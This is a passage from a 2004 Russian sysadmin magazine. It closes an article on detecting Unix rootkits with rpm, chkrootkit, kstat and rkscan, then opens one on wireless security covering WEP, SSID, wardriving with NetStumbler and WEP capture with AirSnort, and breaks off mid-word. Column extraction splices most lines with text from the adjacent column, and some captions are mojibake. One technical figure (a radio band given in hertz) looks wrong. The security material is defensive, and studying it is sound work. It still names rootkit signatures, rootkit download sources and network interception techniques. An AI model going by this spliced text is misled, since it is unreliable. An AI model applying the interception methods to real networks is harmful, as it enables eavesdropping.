журналах, таких, как 2600 (http://www.2600.com/phrack/) или много сложнее. Для информации загляните на его страницу
Phrack (http://www.phrack.org/). Например, статья «Hiding Out http://www.big.net.au/~silvio/, там до недавнего времени ле-
Under Unix» Black Tie Affair (25 номер, файл р25-06) описы- жал файл runtime-kernel-kmem-patching.txt, но сейчас поче-
вает возможность, и приводится исходный код, позволяю- му-то пропал или, например, целых три статьи в номере 58
щий путем модификации файла /etc/wtmp скрыть свое пре- (файлы р58-0х06, р58-0х07, р58-0х08) журнала Phrack «Sub
бывание в системе. И понеслось, через некоторое время по- proc_root Quando Sumus (Advances in Kernel Hacking)», «Linux
явились программы, «умеющие» модифицировать свой on-the-fly kernel patching without LKM» и «IA32 ADVANCED
timestamp и подгонять размер под требуемый. Теперь такие FUNCTION HOOKING», и есть информация в следующих
программы, содержащие троян, отличить от оригинальных номерах журнала.

№1(14), январь 2004 25


безопасность
Были предложены несколько вариантов решений про-  M – отличается состояние (включая разрешения и тип
блемы, например, по адресу http://www.cs.uni-potsdam.de/ файла).
homepages/students/linuxer/, можно найти вариант Себас-  S – отличается размер файла.
тьяна Крамера (Sebastian Krahmer), предлагающего конт-  5 – отличается сумма MD5 .
ролировать и регистрировать вызов execve() и в комби-  D – не соответствует число основных/второстепенных
нации с контролем логов пробовать отловить вторгшего- устройств.
ся. Вот список типично изменяемых системных вызовов:  L – не соответствует путь readLink(2).
sys_clone, sys_close, sys_execve, sys_fork, sys_ioctl, sys_kill,  U – отличается пользователь-владелец.
sys_mkdir, sys_read, sys_readdir, sys_write. Но до оконча-  G – отличается группа-владелец.
тельной победы еще ой как далеко.  T – отличается mTime.

Как защититься от rootkits? Чтобы не возиться со всей системой и немного упрос-


Так как rootkits – это программы, обеспечивающие бес- тить задачу, в первую очередь необходимо проверять па-
проблемное существование взломщика, а не программы кеты net-tools, fileutils, util-linux, procps, psmisc, и findutils
для взлома системы, то чтобы от них не избавляться, луч- (командой rpm -V имя_пакета). Правда, в приведенном
ше их попросту не подцеплять. А посему настраиваем примере это все конфигурационные файлы, в которых,
firewall, убираем все лишние сервисы, и вакцинируем си- естественно, появились изменения по сравнению с ори-
стему, т.е. устанавливаем всевозможные патчи, обнов- гиналом, а вот если будут попадаться файлы из катало-
ляем ПО, убираем поддержку модулей ядра или хотя бы гов, содержащих исполняемые файлы, то необходимо на-
периодически проверяем загруженные при помощи lsmod сторожиться. При помощи команды rpm -qf /path/to/file
(если еще доверяете этой утилите). При помощи специ- можно проверить, является ли данный файл частью паке-
альных патчей к ядру вроде LIDS (http://www.lids.org/) ог- та. Обнаруженное расхождение можно, естественно, пред-
раничиваем права root, лишая тем самым нападающего варительно сохранив измененные файлы для дальнейше-
части преимуществ, а также защищаем исполняемые го изучения, тут же восстановить.
файлы, установив для них режим «только для чтения» –
READONLY, чтобы никто не мог их заменить или удалить, # rpm -Uvh -force <èìÿ_ôàéëà.rpm>
а файлам журналов разрешить только дозапись данных
APPEND, чтобы исключить возможность стирания данных. Программы проверки контроля целостности системы
Запустив команду netstat -an, запоминаем все открытые типа Tripwire (http://www.tripwire.org/) или AIDE – Advanced
порты на свежей системе, а заодно убеждаемся, что ни- Intrusion Detection Environment (http://www.cs.tut.fi/~rammer/
чего не забыто. В дальнейшем необходимо для выясне- aide.html) позволяют автоматизировать процесс подсчета
ния возможных различий производить сканирование при контрольных сумм и выдачи результата сравнения. Но при
помощи внешнего чистого компьютера (испытуемому луч- их использовании желательно базу держать на отдельном
ше не доверять). Используем, например, nmap. носителе, тем самым также защищая ее от модификации.
Также возможное заражение может подсказать непривыч-
# nmap -v -P0 -sU -sT -p 1-65535 IP_ADDRESS ное поведение любимой утилиты, т.к. ее протрояненный ва-
риант может иметь немного отличающиеся опции запуска.
Таким образом, проверим все TCP- и UDP-порты, хотя И наконец специально обученная на нахождение rootkit
это и займет некоторое время. утилита – chkrootkit (http://www.chkrootkit.org/), которая вы-
Свежеустанавливаемый софт проверяем при помощи даст предупреждение в случае, если на машине появится
контрольной суммы md5sum ( http://www.gnu.org/software/ какой-либо известный ей rootkit. Обращаю еще раз внима-
textutils/textutils.html). Те, кто пользуется rpm-based дист- ние на слово «известный», так как ситуация в данном слу-
рибутивами, могут воспользоваться возможностями это- чае аналогична таковой с антивирусами, определяя с ходу
го менеджера пакетов. Когда устанавливается новая про- уже зарегистрированный вирус, те могут пропустить что-
грамма, то данные о пакете в целом и отдельных файлах, то новенькое. Пакет состоит из нескольких утилит, выпол-
его составляющих, в том числе и контрольная сумма, за- няющих свою задачу. Так, утилита chkrootkit проверяет сиг-
носятся в базу данных. Поэтому, введя команду: натуры в следующих файлах: aliens, asp, bindshell, lkm,
rexedcs, sniffer, wted, w55808, scalper, slapper, z2, amd,
# rpm -Va > file basename, biff, chfn, chsh, cron, date, du, dirname, echo, egrep,
env, find, fingerd, gpm, grep, hdparm, su, ifconfig, inetd,
можно получить представление об измененных файлах. inetdconf, init, identd, killall, ldsopreload, login, ls, lsof, mail,
Если файл окажется пустой, то изменений нет, но, прав- mingetty, netstat, named, passwd, pidof, pop2, pop3, ps, pstree,
да, это еще не подтверждает, что система чиста. Но вот rpcinfo, rlogind, rshd, slogin, sendmail, sshd, syslogd, tar, tcpd,
если появятся подобные строки: tcpdump, top, telnetd, timed, traceroute, vdir, w, write. И на
момент моего последнего посещения обнаруживала 51 из-
# rpm -Va вестных типа rootkit и тестировалась на Linux, FreeBSD,
S.5....T c /etc/hotplug/usb.usermap
S.5....T c /etc/sysconfig/pcmcia OpenBSD, NetBSD, Solaris, HP-UX 11, True64 и BSDI. Уста-
новка заключается в выполнении команды make sense, ком-
то измененные файлы необходимо проверить: пиляция обычно проходит без проблем. И далее запускаем:

26
безопасность
# ./chkrootkit При помощи утилиты кstat, ссылку на которую можно
ROOTDIR is `/' найти на http://s0ftpj.org/en/site.html, можно исследовать
Checking `amd'... not found
Checking `basename'... not infected /dev/kmem. Для установки понадобится наличие исход-
Checking `biff'... not found ных текстов ядра и при компиляции нового ядра утилиту
Checking `chfn'... not infected
необходимо обязательно пересобрать.
и так далее. При помощи ключа -Р можно просмотреть полный спи-
Утилита имеет три, на мой взгляд, заслуживающих сок процессов, включая спрятанные LKM (при иследова-
ключа работы. Если хотите проверить систему, загрузив- нии проблемы, для интереса сравните с ps aux), получить
шись с другого компьютера или при помощи LiveCD, то подробную информацию о процессе можно, воспользо-
при помощи ключа -r можно указать каталог, который бу- вавшись ключом -р с указанием pid.
дет использован как корневой при поиске.
# kstat –p 270
# ./chkrootkit -r /mnt/test
Для вывода таблицы адресов системного вызова ис-
Так как chkrootkit использует для своей работы некото- пользуйте флаг -s:
рые типичные Unix-утилиты (awk, cut, egrep, find,head, id, ls,
netstat, ps, strings, sed, uname), которые могут быть компро- # kstat –s
SysCall Address
метированы, то во избежание ошибки при поиске необходи- sys_exit 0xc0117ce4
мо использовать статически скомпилированные версии этих sys_fork 0xc0108ebc
sys_read 0xc012604c
утилит (опять же сохранив их где-нибудь подальше), а ката-
лог, где они находятся, указать при помощи ключа -p: и так далее.
И теперь, периодически сравнивая полученные значе-
# ./chkrootkit -p /mnt/safebin ния, можно проверять наличие данного вида rootkit в сис-
теме. И если на выходе получим что-то похожее на:
Для исследования подозрительных строк в двоичных
файлах можно ее запустить в опытном режиме, исполь- sys_kill 0xc28465d4 WARNING! Should be at 0xc01106b4
зовав ключ -х:
то стоит немного призадуматься над тем, что творится в
# ./chkrootkit -x | more системе.
Второй проект Стефана Ауберта (Stephane Aubert) Rkscan
Утилита ifpromisc позволяет определить, находится ли (http://www.hsc.fr/ressources/outils/rkscan/download/) предлага-
сетевой интерфейс в PROMISCIOUS-режиме. ет инструмент для автоматического определения наличия
очень популярных LKM rootkit Adore (http://spider.scorpions.net/
#./ ifpromisc ~stealth/) и knark (http://packetstrom.securify.com). Здесь все
eth0 is not promisc
просто: скачиваем, распаковываем, компилируем.
За обнаружения троянов в модулях ядра отвечают ути-
литы chkproc и chkdirs. Утилиты chklastlog, chkwtmp и # gcc -o rkscan rkscan1.0.c
check_wtmpx проверяют удаление данных в лог-файлах,
strings обеспечивает работу со строками. И еще на сайте И запускаем под обычным пользователем, потому что
утилиты имеется большое количество ссылок на матери- под root программа ругается и работать не хочет.
алы по теме статьи.
Команда find (если ей можно доверять) может обнару- *** Don't run this scanner as root ! ***
$ ./rkscan
жить файлы и каталоги, чьи имена начинаются с точки -=- Rootkit Scanner -=-
(или с пробела с точкой), которые обычно используют -=- by Stephane.Aubert@hsc.fr -=-
взломщики для хранения своих данных. Scanning for ADORE version 0.14, 0.24 and 2.0b ...
ADORE rootkit NOT DETECTED on this system.
# find / -name "*.*" Scanning for KNARK version 0.59 ...
KNARK rootkit NOT DETECTED on this system.
Утилита rkdet (http://vancouver-webpages.com/rkdet/) Done.
представляет собой демон, который обнаруживает попыт-
ку установки rootkit или сниффера. При обнаружении та- И конечно же, врага надо знать в лицо, поэтому, чтобы
кой попытки системному администратору посылается уве- знать, чего можно действительно ожидать от того или ино-
домление по e-mail, протоколирует его в logfile, может от- го rootkit, можно только при очень детальном их исследо-
ключить систему от сети или вовсе остановить ее. Не тре- вании. Вы можете скачать и попробовать различные rootkit
бует перекомпиляции вместе с ядром. в действии (только в учебных целях!) с сайта packetstorm
Единственный путь обнаружения LKM rootkit – это ана- (http://packetstorm.decepticons.org/UNIX/penetration/rootkits/).
лиз системной памяти. Один из способов состоит в срав- Вот в принципе и все, что хотелось рассказать сегодня.
нении адреса системного вызова, который rootkit изменя- Вывод один – админ должен быть немного параноиком, пото-
ют на свой. му что нападающий всегда идет на шаг впереди. Успехов.

№1(14), январь 2004 27


безопасность

БЕЗОПАСНОСТЬ
БЕСПРОВОДНЫХ СЕТЕЙ

ВИКТОР ИГНАТЬЕВ

28
безопасность
На сегодняшний день Россия является одной из наибо- Технология xG – технология модуляции, обеспечиваю-
лее развивающихся стран в индустрии информационных щая возможность высокоскоростной радиопередачи дан-
технологий, но развивающейся не с точки зрения созда- ных по узкой полосе частот. Она позволяет передавать
ния новых технологий, а с точки зрения увеличения еди- данные на скорости 150 Мбит/c и выше в низкочастотном
ниц компьютерной техники в год. Каждый человек при- диапазоне, используемом для пейджинга (35-150 Гц).
обретает компьютер ради какой-то цели: начинающие Сфера применения технологии – DSL, кабельное телеви-
фирмы покупают компьютерную технику больше для пре- дение, локальные сети и т. п.
стижа, чем для реальных задач, в то время как крупные Технология HomeRF 1.0 нацелена на построение бес-
компании и корпорации уже не могут представить свой проводных сетей в частных домовладениях и малых
бизнес без существования компьютеров. Соответствен- офисах. Оборудование HomeRF работает в диапазоне
но с увеличением числа компьютерной техники в офи- частот 2,4 ГГц, для передачи трафика используется
сах появляется проблема передачи данных с одной ра- метод расширения спектра со скачкообразной пере-
бочей станции на другую. Эта проблема решается про- стройкой частоты.
водкой сети. Если количество машин около 40-50 штук, В марте 2001 г. появилась модернизация – HomeRF
это ещё можно стерпеть, и протянуть ~500 метров кабе- 2.0. В новом стандарте заметно увеличилась поддержи-
ля и расставить маршрутизаторы/свитчи/хабы, но что ваемая скорость обмена данными до 10 Мбит/с, а также
делать, если речь идёт о крупной корпорации, где ко- уровень шифрования на уровне MAC – 120 бит.
личество компьютеров и офисной техники исчисляется Стандарт IEEE 802.15.1 – Bluetooth предназначен для
сотнями? Закупать километры кабеля и десятки еди- построения так называемых персональных беспровод-
ниц сетевого оборудования? Нет. В XXI столетии люди ных сетей (Wireless Personal Area Network, WPAN). Бес-
научились передавать информацию по воздуху. Теперь проводная технология Bluetooth является стандартом
нет необходимости в проводах и кабелях. Технология связи на небольших расстояниях между мобильными
беспроводной передачи данных в России считается до- персональными компьютерами, мобильными телефона-
статочно новой, в то время как в Европе и США она ми и иными портативными устройствами. Изначально
уже стала обычной составляющей рабочего места IT- дальность действия радиоинтерфейса закладывалась
работника. В настоящее время большое количество равной 10 метрам, однако сейчас спецификациями
фирм покупают готовые решения на базе беспровод- Bluetooth уже определена и вторая зона около 100 м –
ных сетей и избавляют себя от массы организацион- для покрытия стандартного дома или вне его. При этом
ных проблем. Разумеется, стандартов беспроводной нет необходимости в том, чтобы соединяемые устрой-
связи существует немало, ниже приводятся характери- ства находились в зоне прямой видимости друг друга,
стики основных из них. их могут разделять «радиопрозрачные» препятствия
(стены, мебель и т. п.), и к тому же приборы могут на-
Разновидности протоколов ходиться в движении. Для работы радиоинтерфейса
и их характеристики Bluetooth используется так называемый нижний (2,45 ГГц)
Стандарт wireless 1394 – известная технология FireWire диапазон ISM (industrial, scientific, medical), предназна-
нашла для себя новую область применения – беспровод- ченный для работы промышленных, научных и медицин-
ные системы. Wireless Working Group в настоящее время ских приборов. Радиоканал обладает полной пропуск-
работает над адаптацией протоколов 1394 к беспровод- ной способностью в 1 Мбит/с, что обеспечивает созда-
ным средам, построенным на основе технологии 802.11, ние асимметричного канала передачи данных на скоро-
т.е. беспроблемным соединением между FireWire и сетя- стях 723,3/57,6 Кбит/с или полнодуплексного канала на
ми AirPort/WiFi. Основная идея этого протокола – защита скорости 433,9 Кбит/с.
цифровых аудио- и видеоданных от несанкционирован- Базовый стандарт IEEE 802.11. В его основу поло-
ного перехвата. жена сотовая архитектура, причем сеть может состо-
Стандарт HiperLAN2 – High Perfomance Radio LAN, как ять как из одной, так и из нескольких ячеек. Каждая
прогнозируют, может стать основным конкурентом тех- сота управляется так называемой точкой доступа –
нологий беспроводных сетей 802.11. Access Point (AP). Точка доступа вместе с подключен-
HiperLAN2 ориентирован на работу в диапазоне 5 ГГц ными рабочими станциями пользователей образует
и способен обеспечить скорость передачи данных до базовую зону обслуживания – Basic Service Set (BSS).
54 Мбит/с. Спецификации протокола доступа к среде MAC Точки доступа многосотовой сети взаимодействуют меж-
несколько другая, нежели чем у 802.11а. Для 802.11а он ду собой через распределительную систему Distribution
аналогичен Ethernet, а в HiperLAN2 больше напоминает System (DS), представляющую собой эквивалент маги-
АТМ. Так же HiperLAN2 имеет поддержку трафика муль- стрального сегмента кабельных сетей. Вся инфраструк-
тимедиа и QoS. тура, включающая точки доступа и распределительную
Стандарт 5-UP – протокол 5-GHz Unified Protocol (5-UP), систему, образует расширенную зону обслуживания –
обеспечивает возможность взаимодействия друг с другом Extended Service Set. Также предусмотрен односотовый
высокоскоростных и низкоскоростных устройств и передачу вариант беспроводной сети, который может быть реа-
мультимедийных потоков со скоростью до 108 Мбит/с. лизован и без точки доступа, при этом часть ее функ-
5-UP является расширением для беспроводных сетей IEEE, ций выполняются непосредственно рабочими станция-
ETSI. ми. Для обеспечения роуминга предусмотрены специ-

№1(14), январь 2004 29


безопасность
Òàáëèöà 1. Âûãîäà ïðîòîêîëîâ

Òàáëèöà 2. Ñðàâíåíèå ïðîòîêîëîâ

альные процедуры сканирования и присоединения – ных Заполярного ГКМ для обмена данными с буровыми
Association. площадками филиала «Тюменбургаз» ДООО «Бургаз».
Также существует ряд расширений протокола IEEE Сеть была окончательно развёрнута 31 декабря 2001 г.,
802.11, такие как: IEEE 802.11a, b-n. В таблицах 1 и 2 даны работает по стандарту Wi-Fi/802.11b. Рабочий диапазон ча-
сравнительные характеристики наиболее распространён- стот: 2400-2483 МГц. Радиус зоны действия сети: до 3 км
ных протоколов. (местная сеть на буровой площадке), до 25-35 км (магис-
В России уже имеется определённый опыт использо- тральный канал).
вания беспроводных сетей, вот некоторые примеры ра- Также можно привести пример функционирования сети
ботающих сетей. в тяжёлых погодных условиях. В марте 2001 г. был закон-
В октябре 2000 г. в Иваново завершился второй этап чен финальный этап развёртывания корпоративной сети
развёртки городской беспроводной сети. Сеть работает передачи данных для нескольких нефтегазодобывающих
по стандарту Wi-Fi/802.11b, на частоте 2,4-2,483 ГГц, со управлений (НГДУ) в районе городов Новый Уренгой и
скоростью 11 Мбит/с. Число поддерживаемых рабочих Пыть-Ях. Сеть работает по стандарту Wi-Fi/802.11b, на
мест составляет до 100 радиоабонентов. Сеть, изначаль- частоте 2,4-2,483 ГГц, со скоростью 11 Мбит/с, имеет
но создававшаяся как корпоративная, со временем при- модифицированный протокол MAC в маршрутизаторах
обрела статус городской (и областной) беспроводной ORiNOCO Outdoor Routers. В связи с суровыми погодны-
сети передачи данных. ми условиями всё уличное оборудование монтировалось
Актуальность Wi-Fi-технологии можно показать на в специальных термоконтейнерах. Базовые станции мон-
очень ярком примере беспроводной сети передачи дан- тировались на буровых вышках – на высоте от 30 до 80 м.

30
безопасность
Преимущества беспроводных сетей чае переезда вам достаточно будет установить точку до-
Итак, предположим, вы уже много наслышаны о беспровод- ступа в удобном месте и включить компьютеры.
ных сетях и решили внедрить эту технологию в свой бизнес.
Какую выгоду вы получаете от этого? Средства защиты
 Простота развёртывания. Сетевым администраторам и Многие производители аппаратной части разрабатывают
прочим IT-специалистам больше не придётся протяги- свои методы защиты и шифрования соединений, но они
вать метры кабелей через чердаки и подвалы. Они с в большинстве своём мало совместимы друг с другом.
удовольствием потратят это время на настройку и от- Далее подробно рассмотрим безопасность сетей стан-
ладку сети. дарта IEEE 802.11b, так как 90% (если не больше) корпо-
 Мобильность. На схеме 1 изображена примерная схе- ративных сетей развёрнуты именно на его базе.
ма сети малого предприятия. Если бы вашей задачей Стандарт 802.11b имеет модель защиты, которая по-
являлось перенести всю сеть в здание нового офиса, зволяет мобильным клиентам безопасно соединяться и
то для этого вам потребовалось бы отключить все сете- взаимодействовать с точкой доступа и обеспечивает кон-
вые кабели, вытащить их и смотать, а на новом месте фиденциальную передачу данных. Она состоит из двух
проделать обратную процедуру. Даже если переехать базовых методов:
нужно было бы всего лишь одному сотруднику, у вас  SSID
бы ушло некоторое время на демонтаж кабеля и новое  WEP
подключение.
A Service Set Identification (SSID) – служебный иденти-
Теперь обратим внимание на схему 2. На ней изобра- фикатор, это имя сети в сегменте беспроводной сети. Он
жена схема беспроводной сети. (По причине высокого также логически разделяет пользователей и точку досту-
распространения за основу взят стандарт 802.11). Из схе- па. Вообще для соединения с сетью беспроводной сете-
мы видно, что пользователи могут безо всяких проблем вой адаптер (WNIC) клиента должен быть настроен с та-
перемещаться в зоне действия беспроводной сети. В слу- ким же SSID, что и у точки доступа.

Ñõåìà 1. Îáû÷íàÿ êàáåëüíàÿ ñåòü

Ñõåìà 2. Áåñïðîâîäíàÿ ñåòü. Ñòàíäàðò 802.11

№1(14), январь 2004 31


безопасность
Wired Equivalent Privacy (WEP) – был утверждён IEEE пользователь шифрует 802.11b фреймы WEP, атакую-
для того, чтобы безопасность WLAN стала сопоставима с щий не сможет декодировать данные до тех пор, пока у
обычными проводными сетями, такими как локальная сеть него не будет верного WEP-ключа.
(LAN). Иными словами, WEP представляет собой возмож- Для получения доступа к WLAN стандарт 802.11b ука-
ность шифрования передаваемых данных. В процессе зывает, что клиент должен пройти 2 этапа:
WEP-кодирования используется симметричный ключ и  Процесс авторизации.
математический алгоритм для преобразования данных в  Процесс присоединения.
нечитаемый текст, называемый текст-шифр. В криптог-
рафии симметричный ключ – это значение с переменной Клиент, желающий подключиться к WLAN, должен
длиной, используется для шифрования и расшифровки сперва пройти авторизацию.
данных. Любое устройство, участвующее в соединении, В процессе авторизации проверяется информация
должно иметь одинаковый ключ. WEP-ключи конфигури- о клиенте, и это является начальным этапом соедине-
руются WLAN-администратором, чем длиннее ключ, тем ния с точкой доступа. Существует 2 типа авторизации:
сложнее будет расшифровать шифр-текст. WEP исполь-  Открытая система (Open System Authentication).
зует алгоритм RC4, которому в свою очередь необходим  Общий ключ (Shared Key Authentication).
Вектор Инициализации (InitializationVector (IV)). IV это псев-
до-случайная бинарная строка для скачкообразного про- Открытая система (OSA) подразумевает, что всё вза-
цесса шифрования для алгоритмов, зависящих от преды- имодействие проходит в открытом виде, без использо-
дущей последовательности блоков шифр-текста. WEP со- вания WEP-ключей. Любой клиент может беспрепят-
вмещает в себе до 4 симметричных ключей переменной ственно присоединиться к WLAN. Единственное, что не-
длины, основанных на потоковом шифре RC4. Все ключи обходимо, – это SSID. Некоторые точки доступа прини-
статичны и одинаковы для всех устройств в WLAN. Это мают даже нулевой SSID. Точка доступа может быть на-
означает, что все WEP-ключи вручную настраиваются на строена на оба типа.
всех WLAN-устройствах и не меняются, пока админист- В отличие от OSA, Shared Key Authentication (SKA) под-
ратор не сгенерирует новые ключи. Большинство 802.11b- разумевает посылку запроса на шифрование. Клиент
оборудования поддерживают 2 размера ключей: шифрует запрос и посылает его обратно. Точка доступа
 64-бита 40-битный ключ и 24-битный Вектор Инициа- декодирует ответ и сравнивает его с оригиналом. Если
лизации; результат положительный, клиент может осуществить
 128-бит 104-битный ключ и 24-битный Вектор Инициа- присоединение.
лизации. Присоединение – это финальный этап соединения с
беспроводной сетью, результатом которого является пол-
WEP имеет 2 основных назначения: ноценное подключение клиента к точке доступа.
 Запрещение доступа к WLAN; Таким образом, стандарт 802.11b предусматривает
 Препятствие «атаке повтором». 3 состояния:
 Состояние 1: Неавторизирован и не присоединён.
Точка доступа использует WEP для предотвращения  Состояние 2: Авторизирован и не присоединён.
доступа к WLAN, посылая текстовые запросы конечно-  Состояние 3: Авторизирован и присоединён.
му клиенту. Клиент шифрует запрос своим ключом и
отправляет его обратно точке доступа. Если результат С технической точки зрения процесс доступа делится
идентичен, пользователь получает доступ в сеть. на 3 фазы:
 Фаза поиска.
 Фаза авторизации.
 Фаза присоединения.
Фаза поиска. Клиент посылает пробный пакет по всем
каналам и ждёт ответа от любой точки доступа. Ответ
точки доступа содержит информацию, необходимую для
процесса соединения.
Фаза авторизации. Как указывалось выше, точка дос-
тупа может быть одновременно и SKA и OSA типа. На-
стройка точки доcтупа определяет, какой тип авториза-
ции будет использоваться.
Фаза присоединения. Клиент посылает пакет – зап-
рос на присоединение. Точка доступа посылает пакет –
ответ, разрешающий присоединение. Состояние «Авто-
Ðèñóíîê 1 ризирован и присоединён» финальный этап инициали-
WEP также препятствует «атаке повтором». «Атака зации между точкой доступа и клиентом при условии,
повтором» заключается в декодировании пойманных в что отсутствуют другие защитные механизмы, такие как:
беспроводной сети пакетов. Если атакуемый WLAN- RADIUS, EAP или 802.1X. Клиент подключается к WLAN.

32
безопасность
Методы атак на беспроводные сети жаются ноутбуком, беспроводной сетевой картой и ан-
Атаки условно делятся на 3 основных категории: пассив- тенной помощнее. После проезда нескольких километ-
ные атаки, активные атаки и атаки помехами. Рассмот- ров по мегаполису они уже имеют список ряда беспро-
рим подробнее каждую из вышеперечисленных. водных сетей, 90% из которых плохо защищены.
Большинство этих «деятелей» используют бесплат-
Пассивные атаки ную программу определения беспроводных сетей «The
Основной целью таких атак является перехват данных, Netstumbler». На рисунках 2 и 3 изображено рабочее окно
проходящих по каналам беспроводной сети. Для осуще- программы Netstumbler. Программа в основном работа-
ствления этого атакующему необходим компьютер с бес- ет с адаптерами, основанными на чипах «Hermes», так
проводным сетевым адаптером и специальным программ- как именно они способны определять точки доступа, на-
ным обеспечением для перехвата трафика. Такое ПО по- ходящиеся в одном диапазоне и с активированным WEP.
лучило название «сниффер» (от англ. to sniff – нюхать, Одной из самых распространённых карт на базе чипа
принюхиваться). Яркими представителями этого класса «Hermes» является «ORiNOCO». Другим преимуществом
программ являются: для ОС Windows – WinDump, Zxsniffer, этой карты является возможность присоединения внеш-
Iris. Для Unix-подобных ОС – TCPDump, Dsniff, Ethereal, ней антенны, которая в несколько раз увеличивает диа-
Ettercap, AirSnort. пазон «видимости» сигналов точек доступа. К сожале-
Пассивные атаки очень сложно обнаружить, т.к. ни- нию, карты на чипах «Hermes» не умеют работать в ре-
каких исходящих данных от атакующего не поступает. жиме «прослушки» (promiscuous mode). Для этих целей
Системным администраторам не следует применять необходимо иметь карту на чипе «PRISM2». Большин-
DHCP-серверы, или, если они так необходимы, стоит ство фирм-производителей используют именно этот чип,
проверять лог-файлы как можно чаще. Если в сети по- например, Linksys WPC. Искушенные war-driver имеют
явится неизвестный MAC-адрес, то следует считать, что два адаптера, один для поиска сетей, другой для пере-
это потенциальный взломщик. хвата данных.
Если вы обнаружили, что под окном вашей организа- Несмотря на то что Netstumbler бесплатный продукт,
ции стоит автомобиль с подозрительной антенной, у во- это серьёзное и многофункциональное средство, которое
дителя выясните назначение этой антенны. Именно он является превосходным решением для поиска беспровод-
может оказаться злоумышленником. ных сетей. Кроме того, Netstumbler может дать деталь-
В наше время пассивные атаки очень распростране- ную информацию относительно найденных беспроводных
ны, это даже стало хобби для многих людей. Такое заня- сетей, эта информация может быть использована в ком-
тие называется «war driving» или «war plugging» (боевое бинации с GPS, чтобы обеспечить точное местоположе-
вождение или боевое присоединение). War-driver воору- ние относительно широты и долготы.

Ðèñóíîê 2. Ðàáî÷åå îêíî ïðîãðàììû NetStumbler

№1(14), январь 2004 33


безопасность
После запуска NetStumbler начинает слать широкове- достаточное количество трафика для взлома шифрован-
щательные запросы несколько раз в секунду. Если одна ных данных. Netstumbler работает с сетями, настроенны-
из точек доступа ответила, NetStumbler оповещает об этом ми как Открытая система. Это значит, что сеть обнару-
пользователя и выдаёт информацию, извлечённую из живает своё существование и посылает в ответ свой SSID.
802.11b фреймов: SSID, MAC-адрес, канал, силу сигнала и Однако это не значит, что сеть может быть с лёгкостью
информацию о том, активирован ли WEP или нет. скомпрометирована, т.к. могут быть использованы допол-
Есть несколько моментов, на которые стоит обратить нительные средства защиты. Для защиты от Netstumbler
внимание. и других программ определения беспроводных сетей, ад-
 Во-первых, большинство точек доступа настроены с министраторы должны конфигурировать беспроводные
SSID по умолчанию, то есть настройщики его не ме- сети как Закрытые системы. Это значит, что точки досту-
няли. па не будут отвечать на запросы «нулевого» SSID и будут
 Во-вторых, в некоторых сетях SSID имеет смысловое «невидимы» для таких программ, как Netstumbler, кото-
отношение к сети, например: universityserver. Мы можем рые полагаются на эту технологию поиска беспроводных
предположить, что эта точка доступа какого-то учебного сетей. Тем не менее, возможен захват «сырых» 802.11b-
заведения. фреймов и их последующее декодирование при помощи
«Ethereal» и «WildPacket’s AiroPeek». Также для поиска
Вышеперечисленные особенности делают работу ата- беспроводных сетей могут быть использованы анализа-
кующего намного проще. Использование Netstumbler – на- торы спектра радиочастот. Несмотря на несовершенность
чальный этап злоумышленника. После сбора информа- закрытой системы, следует использовать эту именно тех-
ции о беспроводной сети и получения SSID, атакующий нологию.
подключается к ней, чтобы перехватить трафик. Трафик Следует отметить, что точки доступа работают как
может содержать большое количество информации о сети полудуплексные устройства, такие как хабы и репитеры.
и о компании, которая использует эту сеть. Например, про- Это означает, что все устройства в сети могут «видеть»
сматривая трафик, злоумышленник может выяснить ад- трафик других устройств. Единственной защитой являет-
реса DNS-серверов, страницы, заданные по умолчанию в ся шифрование трафика разными методами: WEP, VPNs,
браузерах, сетевые имена, сессии авторизации, и т. д. Эта SSL, Secure Shell (SSH), Secure Copy (SCP), и т. д. Неко-
информация может быть использована для дальнейших торые методы могут быть более эффективными, всё за-
атак. Если в сети активирован WEP, атакующий соберёт висит от обстоятельств.

Ðèñóíîê 3. Ðàáî÷åå îêíî ïðîãðàììû NetStumbler

34
безопасность
Активные атаки Рабочее окно программы отображено на рисунке 4.
Как только злоумышленник получает доступ к сети при AirSnort должен собрать от 500мб до 1000 Мб трафика
помощи пассивных атак, он приступит к осуществлению чтобы получить WEP-клю